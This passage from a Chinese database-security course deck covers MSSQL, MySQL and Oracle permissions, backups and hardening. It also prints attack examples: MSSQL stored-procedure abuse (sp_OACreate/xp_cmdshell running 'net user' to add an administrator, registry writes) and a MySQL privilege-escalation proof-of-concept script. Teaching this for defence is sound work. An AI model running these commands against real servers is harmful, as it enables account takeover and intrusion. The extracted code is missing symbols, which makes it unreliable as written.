




版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
1、數據庫安全技術概述技術創新 變革未來知識體系2關系型數據庫知識體知識域Mssql數據庫知識子域Mssql角色與權限Mysql數據庫Oracle數據庫Mssql存儲過程安全Mysql權限與設置Mysql內置函數風險Oracle角色與權限Oracle安全風險非關系型數據庫Redis數據庫Redis權限設置Redis未授權訪問風險Mssql數據庫mssql的安全性就是用來保護服務器和存儲在服務器中的數據,它的安全性可以決定哪些用戶可以登錄到服務器,登錄到服務器的用戶可以對哪些數據庫隊形執行操作或管理任務等mssql從安全體系結構順序上可以分為認證和授權兩個部分,安全機制可以分為5個層級客戶機安全機制
2、網絡傳輸的安全機制實例級別的安全機制數據庫級別的安全機制對象級別的安全機制mssql安全性概述Mssql數據庫客戶安全機制數據庫管理系統需要運行在某一特定的操作系統平臺下,客戶機操作系統的安全性直接影響到mssql的安全性。在用戶使用客戶計算機通過網絡訪問mssql服務器時,用戶首先要獲得客戶計算機操作系統的使用權限。保證操作系統的安全性是操作系統管理員或網絡管理員的任務。由于mssql采用了集成Windows NT網絡安全性機制,所以提高了操作系統的安全性,但與此同時也加大了管理數據庫系統安全的難度。mssql安全機制介紹Mssql數據庫網絡傳輸的安全機制對關鍵數據進行了加密,即使攻擊者通過
3、了防火墻和服務器上的操作系統到達了數據庫,還要對數據進行破解。有兩種對數據加密的方式:數據加密和備份加密。數據加密:數據加密執行所有的數據庫級別的加密操作,消除了應用程序開發人員創建定制的代碼來加密和解密數據的過程。數據在寫到磁盤時進行加密,從磁盤讀的時候解密。使用mssql來管理加密和解密,可以保護數據庫中的業務數據而不必對現有應用程序做任何更改。備份加密:對備份進行加密可以防止數據泄露和被篡改。mssql安全機制介紹Mssql數據庫實例級別的安全機制采用了標準mssql登錄和集成Windows登錄兩種方式。無論使用哪種登錄方式,用戶在登錄時必須提供登錄密碼和賬號,管理和設計合理的登錄方式是
4、mssql數據庫管理員的重要任務,也是mssql安全體系中重要的組成部分。mssql服務器中預先設定了許多固定服務器的角色,用來為具有服務器管理員資格的用戶分配使用權利,固定服務器角色的成員可以用于服務器級的管理權限。數據庫級別的安全機制在建立用戶的登錄賬號信息時,mssql提示用戶選擇默認的數據庫,并分配給用戶權限,以后每次用戶登錄服務器后,都會自動轉到默認數據庫上。對任何用戶來說,如果在設置登錄賬號時沒有指定默認數據庫,則用戶的權限將限制在master數據庫以內。mssql 允許用戶在數據庫上建立新的角色,然后為該角色授予多個權限,最后通過角色將權限賦予mssql 的用戶,使其他用戶獲取具
5、體數據庫的操作權限。mssql安全機制介紹Mssql數據庫對象級別安全機制對象安全性檢查是數據庫管理系統的最后一個安全等級。創建數據庫對象時,mssql 將自動把該數據庫對象的用戶權限賦予該對象的所有者,對象的擁有者可以實現該對象的安全控制。數據庫對象訪問權限定義了用戶對數據庫中數據對象的引用、數據操作語句的許可權限,這通過定義對象和語句的許可權限來實現。用戶訪問的三個階段第一階段:用戶登錄到mssql的實例進行身份鑒別,被確認合法才能登錄到mssql實例。第二階段:用戶在每個要訪問的數據庫里必須有一個賬號,mssql實例將登錄映射到數據庫用戶賬號上,在這個數據庫的賬號上定義數據庫的管理和數據
6、對象訪問的安全策略。第三階段:檢查用戶是否具有訪問數據庫對象、執行操作的權限,經過語句許可權限的驗證,才能夠實現對數據的操作。mssql安全機制介紹Mssql數據庫數據庫所有者數據庫所有者(DBO)是數據庫的創建者,每個數據庫只有一個數據庫所有者。DBO有數據庫中的所有特權,可以提供給其他用戶訪問權限。數據庫對象數據庫對象包含表、索引、視圖、觸發器、規則和存儲過程,創建數據庫對象的用戶是數據庫對象的所有者,數據庫對象可以授予其他用戶使用其擁有對象的權利。域域是一組計算機的集合,它們可以共享一個通用安全性數據庫。數據庫組數據庫組是一組數據庫用戶的集合。這些用戶接受相同的數據庫用戶許可。使用組可以
7、簡化大量數據庫用戶的管理,組提供了讓大量用戶授權和取消許可的一種簡便方法。Mssql基本安全術語Mssql數據庫系統管理員系統管理員是負責管理mssql全面性能和綜合應用的管理員,簡稱sa。系統管理員的工作包括安裝mssql 、配置服務器、管理和監視磁盤空間、內存和連接的使用、創建設備和數據庫、確認用戶和授權許可、從mssql數據庫導入導出數據、備份和恢復數據庫、實現和維護復制調度任務、監視和調配mssql性能、診斷系統問題等許可使用許可可以增強數據庫的安全性,許可系統指定哪些用戶被授予使用哪些數據庫對象的操作,指定許可的能力由每個用戶的狀態(系統管理員、數據庫所有者或者數據庫對象所有者)決定
8、角色角色中包含了mssql預定義的一些特殊權限,可以將角色分別授予不同的主體。使用角色可以提供有效而復雜的安全模型,以及管理可保護對象的訪問權限。Mssql基本安全術語Mssql數據庫主體 主體是可以請求對mssql資源訪問權限的實體,包括用戶、組或進程。主體有以下特征:每個主體都有自己的安全標識號(SID),每個主體有一個作用域,作用域基于定義主體的級別,主體可以是主體的集合(Windows組)或者不可分割的主體(Windows登錄名)。 Windows級別的主體包括:Windows域登錄名和Windows本地登錄名;mssql級別的主體包括:mssql登錄名和服務器角色;數據庫級別的主體包
9、括:數據庫用戶、數據庫角色,以及應用程序角色。Mssql基本安全術語Mssql數據庫Windows身份驗證模式Windows身份驗證模式:一般情況下mssql數據庫系統都運行在Windows服務器上,作為一個網絡操作系統,Windows本身就提供賬號的管理和驗證功能。Windows驗證模式利用了操作系統用戶安全性和賬號管理機制,允許mssql使用Windows的用戶名和口令。在這種模式下,mssql把登錄驗證的任務交給了Windows操作系統,用戶只要通過Windows的驗證,就可以連接到mssql服務器。使用Windows身份驗證模式可以獲得最佳工作效率,在這種模式下,域用戶不需要獨立的ms
10、sql賬戶和密碼就可以訪問數據庫。如果用戶更新了自己的域密碼,也不必更改mssql的密碼,但是該模式下用戶要遵從Windows安全模式的規則。默認情況下,mssql 使用Windows身份驗證模式,即本地賬號來登錄。混合模式mssql和Windows(混合)身份驗證模式:使用混合模式登錄時,可以同時使用Windows身份驗證和mssql身份驗證。如果用戶使用TCP/IP Sockets進行登錄驗證,則使用mssql身份驗證;如果用戶使用命名管道,則使用Windows身份驗證。安全驗證方式Mssql數據庫Select 查詢語句的基本用法SELECT ALL | DISTINCT *| 列1 別名
11、1,列2 別名2TOP n PERCENTINTO 表名FROM 表1 別名1,表2 別名2,WHERE 條件GROUP BY 分組條件 HAVING 分組條件ORDER BY 排序字段 ASC | DESCMssql查詢語句Mssql數據庫服務器角色可以授予服務器管理的能力,服務器角色的權限作用域為服務器范圍。用戶可以向服務器角色中添加mssql登錄名、Windows賬戶和Windows組。固定服務器角色的每個成員都可以向其所屬角色添加其他登錄名。在【對象資源管理器】窗口中,依次打開【安全性】【服務器角色】節點,即可看到所有的固定服務器角色服務器角色服務器角色名稱角色說明Sysadmin可以
12、在服務器上執行任何活動。Serveradmin更改服務器范圍的配置選項和關閉服務器Securityadmin可以管理登錄名及其屬性,還可以重置登錄名和密碼public每個mssql用戶都屬于public服務器角色。如果未向服務器主體授予或拒絕某個安全對象的特定權限,該用戶將集成public角色的權限processadmin可以終止在sql實例中運行的進程setupadmin可以添加和刪除連接服務器bulkadmin可以運行BULK INSERT語句Diskadmin用于管理磁盤文件dbcreator可以創建、更改、刪除和還原任何數據庫Mssql數據庫數據庫角色是針對某個具體數據庫的權限分配,數
13、據庫用戶可以作為數據庫角色的成員,繼承數據庫角色的權限,數據庫管理人員也可以通過管理角色的權限來管理數據庫用戶的權限。數據庫角色數據庫角色名稱角色說明Db_owner可以執行數據庫的所有配置和維護活動、可以刪除數據庫。Db_accessadmin可以為windows登錄名、windows組和sql登錄名添加刪除數據庫的訪問權限Db_Securityadmin可以修改角色成員身份和管理權限public每個mssql用戶都屬于public服務器角色。如果未向服務器主體授予或拒絕某個安全對象的特定權限,該用戶將集成public角色的權限Db_backupoperator可以備份數據庫Db_ddlad
14、min可以在數據庫中運行任何數據定義語言(ddl)命令Db_datawriter可以添加、修改或刪除數據庫內用戶表中的任何數據Db_datareader可以讀取數據庫內用戶表中的任何數據Db_denydatawriter不能添加、修改或刪除數據庫內用戶表中的任何數據Db_denydatareader不能讀取數據庫內用戶表中的任何數據Mssql數據庫1.在【對象資源管理器】窗口中,依次展開服務器節點下的【安全性】【登錄名】節點。右擊一個登錄賬戶,在彈出的快捷菜單中選擇【屬性】菜單命令2.選擇窗口左側列表中的【服務器角色】選項,在【服務器角色】列表中,通過選擇列表中的復選框來授予這個用戶不同的服務
15、器角色,例如sysadmin。3.如果要執行數據庫角色,可以打開【用戶映射】選項卡,在【數據庫角色成員身份】列表中,通過啟用復選框來授予DataBaseAdmin2不同的數據庫角色。4.確定之后返回。賬戶登錄指派到角色Mssql數據庫1.在【對象資源管理器】窗口中,依次展開服務器節點下的【安全性】【服務器角色】節點。右擊系統角色sysadmin,在彈出的快捷菜單中選擇【屬性】菜單命令2.打開服務器角色屬性窗口,單擊【添加】3.打開【選擇服務器登錄名或角色】對話框,選擇要添加的登錄賬戶,可以單擊【瀏覽】。4.選擇登錄名前的復選框,然后單擊【確定】5.確定之后返回角色指派到多個登錄用戶Mssql數
16、據庫 根據是否是系統預定義,可以把權限劃分為預定義權限和自定義權限;按照權限與特定對象的關系,可以把權限劃分為針對所有對象的權限和針對特殊對象的權限。預定義權限和自定義權限Sql在安裝完成之后可以擁有預定義權限,不必通過授予即可取得。固定服務器角色和固定數據庫角色就屬于預定義權限。自定義權限是指需要經過授權或者繼承才可以得到的權限,大多數安全主體都需要經過授權才能獲得指定對象的使用權限。所有對象和特殊對象的權限所有對象權限可以針對MSSQL中所有的數據庫對象,CONTROL權限可用于所有對象。特殊對象權限是指某些只能在指定對象上執行的權限,例如SELECT可用于表或者視圖,但是不可用于存儲過程
17、;而EXEC權限只能用于存儲過程,而不能用于表或者視圖。針對表和視圖,數據庫用戶在操作這些對象之前必須擁有相應的操作權限,可以授予數據庫用戶的針對表和視圖的權限有INSERT、UPDATE、DELETE、SELECT和REFERENCES 5種。權限管理Mssql數據庫權限管理包括:授予權限、拒絕權限和撤銷權限。授予權限為了允許用戶執行某些操作,需要授予相應的權限,使用GRANT語句進行授權活動格式如下:GRANT ALL PRIVILEGES | permission ( column ,n) ,n ON CLASS : : securable TO principal ,n WITH GR
18、ANT OPTION AS principal示例如下:向Monitor角色授予對test數據庫中stu_info表的SELECT、INSERT、UPDATE和DELETE權限USE test;GRANT SELECT,INSERT,UPDATE,DELETEON stu_infoTO MonitorGO權限管理Mssql數據庫拒絕權限拒絕權限可以在授予用戶指定的操作權限之后,根據需要暫時停止用戶對指定數據庫對象的訪問或操作格式如下:DENY ALL PRIVILEGES | permission ( column ,n) ,n ON CLASS : : securable TO princi
19、pal ,n WITH GRANT OPTION AS principal示例如下:拒絕guest用戶對test數據庫中stu_info表的INSERT和DELETE權限USE test;DENY INSERT,DELETEON stu_infoTO guestGO權限管理Mssql數據庫撤銷權限撤銷權限可以刪除某個用戶已經授予的權限。撤銷權限使用REVOKE語句格式如下:REVOKE GRANT OPTION FOR ALL PRIVILEGES | permission ( column ,n) ,n ON CLASS : : securable TO | FROM principal ,
20、n CASCADE AS principal示例如下:撤銷Monitor角色對test數據庫中stu_info表的DELETE權限USE test;REVOKE DELETEON OBJECT : : stu_infoFROM Monitor CASCADE權限管理Mssql數據庫1.完整數據庫備份完整數據庫備份將備份整個數據庫,包括所有的對象、系統表、數據以及部分事務日志,開始備份時SQL Server將復制數據庫中的一切。完整備份可以還原數據庫在備份操作完成時的完整數據庫狀態由于是對整個數據庫的備份,因此這種備份類型速度較慢,并且將占用大量磁盤空間。在對數據庫進行備份時,所有未完成的或發生
21、在備份過程中的事務都將被忽略。這種備份方法可以快速備份小數據庫。2.差異備份差異備份基于所包含數據的前一次最新完整備份。差異備份僅捕獲自該次完整備份后發生更改的數據。因為只備份改變的內容,所以這種類型的備份速度比較快,可以頻繁地執行,差異備份中也備份了部分事務日志。數據備份類型Mssql數據庫3.文件和文件組備份文件和文件組的備份方法可以對數據庫中的部分文件和文件組進行備份。當一個數據庫很大時,數據庫的完整備份會花很多時間,這時可以采用文件和文件組備份。在使用文件和文件組備份時,還必須備份事務日志,所以不能在啟用【在檢查點截斷日志】選項的情況下使用這種備份技術。文件組是一種將數據庫存放在多個文
22、件上的方法,并運行控制數據庫對象存儲到那些指定的文件上,這樣數據庫就不會受到只存儲在單個硬盤上的限制,而是可以分散到許多硬盤上。利用文件組備份,每次可以備份這些文件當中的一個或多個文件,而不是備份整個數據庫。4.事務日志備份創建第一個日志備份之前,必須先創建完整備份,事務日志備份所有數據庫修改的記錄,用來在還原操作期間提交完成的事務以及回滾未完成的事務,事務日志備份記錄備份操作開始時的事務日志狀態。事務日志備份比完整數據庫備份節省時間和空間,利用事務日志進行還原時,可以指定還原到某一個時間,而完整備份和差異備份不到這一點。數據備份類型Mssql數據庫1.創建完整數據庫備份示例:創建test數據
23、庫的完整備份,備份設備為創建好的【test數據庫備份】本地備份設備BACKUP DATABASE testTO testWITH INIT,NAME=test 數據庫完整備份,DESCRIPTION=該文件未test數據庫的完整備份數據備份Mssql數據庫2.創建差異數據庫備份示例:創建test數據庫的差異備份BACKUP DATABASE testTO testWITH DIFFERENTIAL,NOINIT,NAME=test 數據庫差異備份,DESCRIPTION=該文件未test數據庫的差異備份數據備份Mssql數據庫3.創建test數據庫執行事務日志備份,要求追加到現有的備份設備【t
24、est數據庫備份】示例:創建test數據庫事務日志備份BACKUP LOG testTO test 數據庫備份WITH NOINIT,NAME=test 數據庫事務日志備份,DESCRIPTION=test數據庫事務日志備份數據備份Mssql數據庫存儲過程的優點:存儲過程加快系統運行速度,存儲過程只在創建時編譯,以后每次執行時不需要重新編譯。存儲過程可以封裝復雜的數據庫操作,簡化操作流程,例如對多個表的更新、刪除等。可實現模塊化的程序設計,存儲過程可以多次調用,提供統一的數據庫訪問接口,改進應用程序的可維護性。存儲過程可以增強代碼的安全性,對于用戶不能直接操作存儲過程中引用的對象,設定用戶對指
25、定存儲過程的執行權限。存儲過程可以降低網絡流量,存儲過程代碼直接存儲于數據庫中,在客戶端與服務器的通信過程中,不會產生大量的T-SQL代碼流量。存儲過程的缺點:數據庫移植不方便,存儲過程依賴于數據庫管理系統,存儲過程中封裝的操作代碼不能直接移植到其他的數據庫管理系統中。不支持面向對象的設計,無法采用面向對象的方式將邏輯業務進行封裝裝,甚至形成通用的可支持服務的業務邏輯框架。代碼可讀性差、不易維護。不支持集群。Mssql存儲過程概述Mssql數據庫SQL Server中的存儲過程是使用T-SQL代碼編寫的代碼段。在存儲過程中可以聲明變量、執行條件判斷語句等其他編程功能。SQL Server中有多
26、種類型的存儲過程,總的可以分為3類:系統存儲過程、用戶存儲過程和擴展存儲過程。系統存儲過程是由SQL Server系統自身提供的存儲過程,可以作為命令執行各種操作。自定義存儲過程即用戶使用T-SQL語句編寫的、為了實現某一特定業務需求,在用戶數據庫中編寫的T-SQL語句集合,用戶存儲過程可以接受輸入參數、向客戶端返回結果和信息、返回輸出參數等。擴展存儲過程是以在SQL Server 環境外執行的動態鏈接庫(DLL文件)來實現的,可以加載到SQL Server 2014實例運行的地址空間中執行,擴展存儲過程可以使用SQL Server擴展存儲過程API完成編程。擴展存儲過程以前綴“xp_”來標識
27、,對于用戶來說,擴展存儲過程和普通存儲過程一樣,可以用相同的方式來執行。Mssql存儲過程分類Mssql數據庫1、xp_regread(這個擴展存儲過程可以讀取注冊表指定的鍵里指定的值),使用方法(得到機器名):DECLARE test varchar(50)EXEC master.xp_regread rootkey=HKEY_LOCAL_MACHINE,key=systemcontrolset001controlcomputernamecomputername,value_name=computername,value=test OUTPUTSELECT testMssql存儲過程利用Ms
28、sql數據庫2、xp_regwrite(這個擴展存儲過程可以寫入注冊表指定的鍵里指定的值),使用方法(在鍵HKEY_LOCAL_MACHINESOFTWAREaaaaaaValue寫入bbb):EXEC master.xp_regwriterootkey=HKEY_LOCAL_MACHINE,key=SOFTWAREaaa,value_name=aaaValue,type=REG_SZ,value=bbb如果被入侵的計算機的administrator用戶可以瀏覽注冊表中的HKEY_LOCAL_MACHINESAMSAM信息,那使用 xp_regread、xp_regwrite這兩個存儲過程可以
29、實現克隆administrator用戶,得到管理員權限。 xp_regdeletekey、xp_regdeletevalue也會對系統帶來安全隱患Mssql存儲過程利用Mssql數據庫3、OLE相關的一系列存儲過程,這系列的存儲過程有sp_OACreate, sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod, sp_OASetProperty,sp_OAStop,使用方法:DECLARE shell INT EXEC SP_OACREATE wscript.shell,shell OUTPUTEXEC SP_OAMETHOD
30、 shell,run,null, c:WINNTsystem32cmd.exe /c net user test1234 /add-這樣對方系統增加了一個用戶名為test,密碼為1234的用戶,再執行:DECLARE shell INT EXEC SP_OACREATE wscript.shell,shell OUTPUTEXEC SP_OAMETHOD shell,run,null, c:WINNTsystem32cmd.exe /c net localgroupadministrators test /add -用戶test,被加入管理員組。Mssql存儲過程利用Mssql數據庫存儲過程是
31、存儲在SQLServer中的預先寫好的SQL語句集合,其中危險性最高的擴展存儲過程就是xp_cmdshell了,它可以執行操作系統的任何指令,而SA是Microsoft SQLServer的管理員帳號,擁有最高權限,它可以執行擴展存儲過程,并獲得返回值,比如執行:exec master.xp_cmdshell net user test 1234 /add和exec master.xp_cmdshell netlocalgroup administrators test /add這樣對方的系統就被添加了一個用戶名為test,密碼為1234,有管理員權限的用戶SA弱口令帶來的安全隱患Mysql數
32、據庫Mysql是一個開放源代碼的、開源的關系型數據庫管理系統(DBMS),廣泛應用在互聯網上等中小型網站開發中。MySQL 是一個真正的多用戶、多線程SQL數據庫服務器,它是一個客戶機/服務器結構的實現。MySQL是現在流行的關系數據庫中其中的一種,相比其它的數據庫管理系統(DBMS)來說,MySQL具有小巧、功能齊全、查詢迅捷等優點Mysql介紹Mysql數據庫Mysql是一個多用戶數據庫,具有功能強大的訪問控制系統,可以為不同用戶指定允許的權限。Mysql用戶可以分為普通用戶和root用戶。Root用戶是超級管理員,擁有所有權限,包括創建用戶、刪除用戶和修改用戶的密碼等管理權限;普通用戶只
33、擁有被授予的各種權限。用戶管理包括管理用戶賬戶、權限等。Mysql用戶管理Mysql數據庫Mysql提供許多語句用來管理用戶帳號,這些語句可以用來管理包括登錄和退出Mysql服務器、創建用戶、刪除用戶、密碼管理和管線管理等內容登錄:mysql h localhost u root p test(用root用戶登錄到本地mysql服務器的test庫)創建用戶:create user testlocalhostidentified by passwd;(創建一個用戶,用戶名為test,密碼passwd,主機名localhost),主機名部分為%是對所有主機開放權限;刪除用戶:DROP USER u
34、serlocalhost; DROP USER;Mysql用戶管理Mysql數據庫Mysql服務器通過權限表來控制用戶對數據庫的訪問,權限表存放在mysql數據庫中,由mysql_install_db腳本初始化。存儲賬戶權限信息表有user、db、host、tables_priv、columns_priv和procs_privUser表是mysql中最重要的一個權限表,記錄允許鏈接到服務器的帳號信息,權限是全局級的。Db表中存儲了用戶對某個數據庫的操作權限,決定用戶能從哪個主機存取哪個數據庫Host表中存儲了摸個主機對數據庫的操作權限,配合db權限表對給定主機上數據庫級操作權限做更細致的控制,
35、此表不受GRANT和REVOKE語句的影響tables_priv表用來對表設置操作權限columns_priv表用來對表的某一列設置權限procs_priv表對存儲過程和存儲函數設置操作權限。Mysql用戶權限表Mysql數據庫Mysql權限管理主要是對登錄到mysql的用戶進行權限驗證。所有用戶的權限都存儲在mysql的權限表中,不合理的權限規劃會給mysql服務器帶來安全隱患。數據庫管理員要對所有用戶的權限進行合理規劃管理。Mysql權限系統的主要功能是證實連接到一臺給定主機的用戶,并且賦予該用戶在數據庫上的select、insert、update和delete的權限Mysql權限管理My
36、sql數據庫授權是為某個用戶授予權限,合理的授權可以保證數據庫的安全使用GRANT語句為用戶授予權限授予的權限可以分為多個層級:1.全局層級2.數據庫層級3.表層級4.列層級5.子程序層級示例:MYSQLGRANT SELECT,INSERT ON *.* TO USERLOCALHOSTIDENTIFIED BY PWDWITH GRANT OPTION;Mysql權限管理Mysql數據庫收回權限就是取消已經賦予用戶的某些權限。收回用戶不必要的權限可以在一定程度上保證系統的安全性。示例:使用revoke語句取消用戶test的更新權限Mysql REVOKE UPDATE ON .FROM T
37、ESTLOCALHOST;使用show grants語句查看指定用戶的權限信息SHOW GRANTS FOR USERHOST示例:使用show grants 語句查詢用戶test的權限信息MysqlSHOW GRANTS FOR testlocalhost;Mysql權限管理Mysql數據庫在windows下禁止使用local system來運行mysql賬戶,可以考慮使用network service或者自己新建一個賬號,但是必須給與mysql程序所在目錄的讀取權限和data目錄的讀取和寫入權限; 在linux下,新建一個mysql賬號,并在安裝的時候就指定mysql以mysql賬戶來運行
38、,給與程序所在目錄的讀取權限,data所在目錄的讀取和寫入權限。mysql運行賬號需要給予程序所在目錄的讀取權限,以及data目錄的讀取和寫入權限 不容許給予其他目錄的寫入和執行權限取消mysql運行賬戶對于cmd,sh等一些程序的執行權限。Mysql運行Mysql數據庫當mysql允許一個用戶執行各種操作時,它將首先核實該用戶向mysql服務器發送的連接請求,然后確認用戶登錄的操作請求是否被允許。Mysql訪問控制分為兩個階段:連接核實階段和請求核實階段連接核實階段當連接mysql服務器時,服務器基于用戶的身份以及用戶是否能通過正常的密碼身份驗證接受或拒絕連接。客戶端用戶連接請求時會提供用戶
39、名稱、主機地址名和密碼,mysql使用user表中的字段執行檢查做字段匹配。如果整個連接核實沒有通過,服務器完全拒絕訪問;否則服務器接受連接,然后進入階段2等待用戶請求。Mysql訪問控制Mysql數據庫請求核實階段Mysql訪問控制用戶向mysql發出操作請求Mysql檢查user權限表中的權限信息,匹配user、host字段值,查看請求的全局權限是否被允許,如果找到匹配結果,操作被允許執行,否則mysql繼續向下查找Mysql檢查db權限表中的權限信息,匹配user、host字段值,查看請求的數據庫級別的權限是否被允許,如果找到匹配結果,操作被允許執行,否則mysql繼續向下查找Mysql
40、檢查tables_priv權限表中的權限信息,匹配user、host字段值,查看請求的數據表級別的權限是否被允許,如果找到匹配結果,操作被允許執行,否則mysql繼續向下查找Mysql檢查columns_priv權限表中的權限信息,匹配user、host字段值,查看請求的列級別的權限是否被允許,如果找到匹配結果,操作被允許執行,否則mysql返回錯誤信息Mysql數據庫在MySQL上,擁有訪問權限但無創建權限的用戶可以創建與所訪問數據庫僅有名稱字母大小寫區別的新數據庫。成功利用這個漏洞要求運行MySQL的文件系統支持區分大小寫的文件名。 此外,由于在錯誤的安全環境中計算了suid例程的參數,攻
41、擊者可以通過存儲的例程以例程定義者的權限執行任意DML語句。成功攻擊要求用戶對所存儲例程擁有EXECUTE權限1、創建數據庫 以下為引用的內容: $ mysql -h my.mysql.server -u sample -p -A sampleWelcome to the MySQL monitor. Commands end with ; or g.Your MySQL connection id is 263935 to server version: 4.1.16-standardmysql create database another;ERROR 1044: Access denie
42、d for user sample% to database anothermysql create database sAmple; Query OK, 1 row affected (0.00 sec) MySQL權限提升及安全限制繞過漏洞Mysql數據庫2權限提升 以下為引用的內容: -disable_warningsdrop database if exists mysqltest1;drop database if exists mysqltest2;drop function if exists f_suid;-enable_warnings# Prepare playground
43、create database mysqltest1;create database mysqltest2;create user malorylocalhost;grant all privileges on mysqltest1.* to malorylocalhost;# Create harmless (but SUID!) functioncreate function f_suid(i int) returns int return 0;grant execute on function test.f_suid to malorylocalhost;use mysqltest2;M
44、ySQL權限提升及安全限制繞過漏洞# Create table in which malorylocalhost will be interested but to which# he wont have any accesscreate table t1 (i int);connect (malcon, localhost, malory,mysqltest1);# Correct malorylocalhost dont have access to mysqltest2.t1-error ER_TABLEACCESS_DENIED_ERRORselect * from mysqltest
45、2.t1;# Create function which will allow to exploit security holedelimiter |;create function f_evil ()returns intsql security invokerbeginset a:= current_user();Mysql數據庫MySQL權限提升及安全限制繞過漏洞set b:= (select count(*) from mysqltest2.t1);return 0;end|delimiter ;|# Again correct-error ER_TABLEACCESS_DENIED_
46、ERRORselect f_evil();select a, b;# Oops! it seems that f_evil() is executed in the context of# f_suid() definer, so malorylocahost gets all info that he wantsselect test.f_suid(f_evil();select a, b;connection default;drop user malorylocalhost;drop database mysqltest1;drop database mysqltest2;Mysql數據
47、庫限制訪問mysql端口的ipwindows可以通過windows防火墻來限制,linux下可以通過iptables來限制。例如:Iptables -R INPUT 1 -s -j ACCEPT(允許某個ip連接) 修改mysql的端口windows下可以修改配置文件my.ini來實現,linux可以修改配置文件f來實現。默認端口port=33063對所有用戶設置強密碼并嚴格指定對應賬號的訪問ipmysql中可在user表中指定用戶的訪問可訪問iproot特權賬號的處理建議給root賬號設置強密碼,并指定只容許本地登錄日志的處理如需要可開啟查詢日志,查詢日志會記錄登錄和查詢語句。刪除無用數據庫
48、Mysql相關安全配置Mysql數據庫只授予賬號必須的權限:一般不要賦予用戶all privileges 權限,如果有誤操作,將會產生非常嚴重的后果刪除匿名帳號 在某些版本中,安裝完畢Mysql后,會自動安裝一個空帳號,此賬號具有對mysql數據庫的全部權限不把FILE、PROCESS、SUPER權限授予管理員以外的賬號Mysql相關安全配置ORACRL數據庫Oracle安全控制機制用戶管理權限管理角色管理表空間設置和配額用戶資源限制 數據庫審計數據庫安全性含義防止非法用戶對數據庫的訪問防止用戶的非法操作數據庫安全性ORACRL數據庫一個用戶要對某一數據庫進行操作時,必須滿足以下三個條件登錄o
49、racle服務器時必須通過身份驗證;必須是該數據庫的用戶或是某以數據庫角色的成員必須有執行該操作的權限在oracle系統中,為了實現這種安全性,采取用戶、角色和概要文件等管理策略數據庫驗證: 數據庫驗證是指用戶的帳戶、 口令及身份鑒定都由Oracle數據庫執行的 驗證方式。外部驗證: 用戶的帳戶由Oracle數據庫管 理,但口令管理和身份鑒定由外部服務完成。企業驗證: 用戶的帳戶由Oracle數據庫管理,口令管理和用戶鑒定由Oracle Security Service (OSS)完成用戶管理與身份驗證ORACRL數據庫用戶如果要執行某項操作,必須具備相應的權限,即用戶權限。用戶權限可分兩類:
50、系統權限: 是指對數據庫系統及數據結構的 操作權,例如創建刪除用戶、表、同義詞、 索引等對象權限:是指用戶對數據的操作權,如查、更新、插入、刪除、完整性約束等用戶權限可以被授權和收回。角色是一組用戶權限和角色的集合使用角色可以一次把一組權限授予用戶,或者從用戶處回收角色分為系統預定角色和用戶自定義角色兩類用戶權限和角色ORACRL數據庫數據庫用戶可分為以下五類數據庫管理員數據庫管理員用于安裝和升級oracle服務器和應用工具;對系統存儲空間的管理;對數據庫結構的管理;控制、監視用戶對數據庫的訪問;調優數據庫;備份及恢復。安全管理員數據庫安全有關的管理工作有安全管理員負責應用開發者設計和開發數據
51、庫應用;為應用程序設計和修改數據庫結構;調整應用、指定應用的安全機制;估計存儲空間的需求。應用管理員普通數據庫用戶用戶管理ORACRL數據庫應用管理員在數據庫應用交付使用后,通常需要有專人負責應用程序的日常維護工作;應用管理員負責發現和解決應用程序運行中出現的錯誤,或者把錯誤的信息報告給數據庫管理員普通數據庫用戶錄入、修改和刪除數據;生成數據報表用戶管理ORACRL數據庫選擇用戶名和驗證方式;確定用戶存儲對象所需要的表空間確定可以使用表空間的容量指定用戶的缺省空間和臨時空間創建用戶授予用戶特權以及角色用戶創建ORACRL數據庫系統權限是指對數據庫系統及數據結構的操作權,如創建、刪除用戶、表、索
52、引等CREATE PROCEDURE 在用戶自己的模式中創建過程CREATE ROLE 在用戶自己的模式中創建角色 CREATE SEQUENCE 在用戶自己的模式中創建序列CREATE ATE SESSION 連接到數據庫服務器并創建會話CREATE TABLE 在用戶自己的模式中創建表CREATE TABLESPACE 在用戶自己的模式中創建表空間 CREATE TRIGGER 在用戶自己的模式中創建觸發器 CREATE USER 在用戶自己的模式中創建新用戶 CREATE VIEW 在用戶自己的模式中創建視圖DROP TABLESPACE 在用戶自己的模式中刪除表空間 DROPUSER
53、在用戶自己的模式中刪除用戶系統權限ORACRL數據庫系統權限:系統規定用戶使用數據庫的權限。(系統權限是對用戶而言)。實體權限:某種權限用戶對其它用戶的表或視圖的存取權限。(是針對表或視圖而言的)。權限分類ORACRL數據庫系統預定義角色預定義角色是在數據庫安裝后,系統自動創建的一些常用的角色。sqlselect * from role_sys_privs where role=角色名;1CONNECT, RESOURCE, DBA這些預定義角色主要是為了向后兼容。其主要是用于數據庫管理。oracle建議用戶自己設計數據庫管理和安全的權限規劃,而不要簡單的使用這些預定角色。將來的版本中這些角色
54、可能不會作為預定義角色。2DELETE_CATALOG_ROLE, EXECUTE_CATALOG_ROLE, SELECT_CATALOG_ROLE這些角色主要用于訪問數據字典視圖和包。角色管理ORACRL數據庫3EXP_FULL_DATABASE, IMP_FULL_DATABASE這兩個角色用于數據導入導出工具的使用。4AQ_USER_ROLE, AQ_ADMINISTRATOR_ROLEAQ:Advanced Query。這兩個角色用于oracle高級查詢功能。5 SNMPAGENT用于oracle enterprise manager和Intelligent Agent6RECOVE
55、RY_CATALOG_OWNER用于創建擁有恢復庫的用戶。7HS_ADMIN_ROLE角色管理ORACRL數據庫1.建一個角色 sqlcreate role role1;2.授權給角色 sqlgrant create any table,create procedure to role1;3.授予角色給用戶 sqlgrant role1 to user1;4.查看角色所包含的權限 sqlselect * from role_sys_privs;5.創建帶有口令以角色(在生效帶有口令的角色時必須提供口令)sqlcreate role role1 identified by password1;6
56、.修改角色:是否需要口令sqlalter role role1 not identified;sqlalter role role1 identified by password1;角色管理ORACRL數據庫限制應用用戶在數據庫中的權限SQLREVOKE SELECT ANY TABLES FROM ;(收回select any tables權限)SQLREVOKE dba FROM ;(收回dba角色)撤銷public角色的程序包執行權限SQLREVOKE execute ON utl_file FROM public;(Oracle官方建議撤銷public角色對utl_file、utl_h
